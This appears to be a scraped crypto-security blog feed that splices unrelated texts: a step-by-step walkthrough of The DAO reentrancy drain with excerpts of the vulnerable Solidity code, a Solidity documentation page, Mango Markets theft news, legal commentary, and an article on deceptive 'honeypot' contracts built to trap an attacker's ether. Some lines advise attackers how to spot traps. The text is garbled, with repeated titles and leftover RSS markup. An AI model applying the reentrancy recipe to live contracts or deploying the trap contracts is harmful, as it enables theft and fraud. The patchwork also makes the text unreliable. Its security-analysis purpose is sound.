That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array.

And so it goes:

  1. Propose a split and wait until the voting period expires. (DAO.sol, createProposal)
  2. Execute the split. (DAO.sol, splitDAO)
  3. Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy)
  4. Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut)
  5. While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient())
  6. The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO)
  7. Back to (5)!
  8. Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-).

(Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely)

Armed with this, we can provide a step by step re-trace of how The DAO got emptied out.

Step 1: Proposing the Split

The first step towards all of the above is to simply propose a regular split, as we’ve mentioned.

The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”.

Because of this line:

// The minimum debate period that a split proposal can have
uint constant minSplitDebatePeriod = 1 weeks;

he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right?

Step 2: Getting the Reward

As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated).

As we mentioned in the overview, the critical lines that need to run here are:

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
  if (!rewardAccount.payOut(_account, reward)) // XXXXX
    throw;
  paidOut[_account] += reward;
  return true;
}

If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously).

Let’s deconstruct the first if statement:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

The balanceOf function is defined in Token.sol, and of course does exactly this:

return balances[_owner];

The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol:

// The sum of ether (in wei) which has been sent to this contract
uint public accumulatedInput;

Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account!

function() {
    accumulatedInput += msg.value;
}

Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie.

But do they actually need to include a reward? Let’s look at the line again:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])

What if the reward account balance is 0? Then we get

if (0 < paidOut[_account])

If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to:

if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0)

where that first part is actually how much is being paid out. So the check is actually:

if (amountToBePaid < 0)

But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one!

Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 3: The Big Short

A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit.

It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely.

Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to.

Step 3a: Preventing Exit (Resistance is Futile)

Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds.

Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own.

Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment.

Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 4: Executing the Split

So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d.

The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there).

Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there.

Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article.

In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Step 4a: Extending the Split

This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account.

Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO:

function splitDAO(
  ....
  withdrawRewardFor(msg.sender); // be nice, and get his rewards
  totalSupply -= balances[msg.sender];
  balances[msg.sender] = 0;
  paidOut[msg.sender] = 0;
  return true;
}

So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function:

function ​transfer(address _to, uint256 _amount) noEther returns (bool success) {
 ​if (balances[msg.sender] >= _amount && _amount > 0) {
   ​balances[msg.sender] -= _amount;
   ​balances[_to] += _amount;
   ​...

By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration.

The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary.

Was 1.1 Vulnerable?

Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes.

Check out the updated function (especially the marked lines):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

  reward = rewardAccount.balance < reward ? rewardAccount.balance : reward;

  paidOut[_account] += reward; // XXXXX
  if (!rewardAccount.payOut(_account, reward)) // XXXXX
    throw;

  return true;
}

Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line:

uint reward =
 (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to

_recipient.call()

Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance.

Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits.

An Important Takeaway

I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended.

In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy.

I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable.

For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one.

Solidity

Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state.

Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section.

Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features.

With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets.

When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change.

Warning

Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`.

Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details.

Hint

You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format.

Getting Started

1. Understand the Smart Contract Basics

If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following:

2. Get to Know Solidity

Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language.

3. Install the Solidity Compiler

There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`.

Hint

You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally.

Warning

As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section.

4. Learn More

If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks.

If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel.

Translations

Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference.

You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language.

Note

We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations.

Contents

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack
Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack


Basic concepts

To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function.

In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well.

Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes.

When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract.

The attack

The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes.

Fallback function

A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]:

a. If none of the functions of the call to the contract match any of the functions in the called contract

b. When the contract receives ether without extra data

c. If no data was supplied

Example

The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO.

The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows:

  1. The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract.
  2. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract.
  3. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack).
  4. The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable.

In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated.

One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished.

The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet.


The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt.

The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal.

“We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief.

On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury.

The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject.

The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency.

The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether.

So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist.

Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account.

Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency.

Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible.

Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident?
Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money.

The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan?

Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist).

In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law.

And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action.

Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second.

So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all.


Literature:


Conclusion

I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security


GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/-QDYiKCwOaA

Source: https://cryptodeeptool.ru/dao-exploit


Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

Сообщение Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack появились сначала на «CRYPTO DEEP TOOLS».

]]>
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity https://cryptodeeptool.ru/solidity-vulnerable-honeypots/ Wed, 21 Jun 2023 21:04:41 +0000 https://cryptodeeptool.ru/?p=3527 Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a […]

Сообщение Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity появились сначала на «CRYPTO DEEP TOOLS».

]]>

Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker.

Let’s look at a couple different real world examples:

pragma solidity ^0.4.18;

contract MultiplicatorX3
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function withdraw()
    payable
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
    
    function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }
}

In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract.

pragma solidity ^0.4.19;

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    
    function()payable{}
    
    function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
    
    bytes32 public hashPass;
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash()SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log.

You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could.

A safer method the attacker should have used would have been to check the contract storage with a security analysis tool.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAOParity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons:

  • Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough.
  • Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough.
  • Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers.

Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked:

  1. Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be.
  2. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse.

Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties:

  • Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH.
  • Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds.
  • Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker.

Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks.

honeypot1: Multiplicator.sol

The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

GITHUB

This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero.

It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

honeypot2: Gift_1_ETH.sol

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

GITHUB

The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH?

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong?

One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

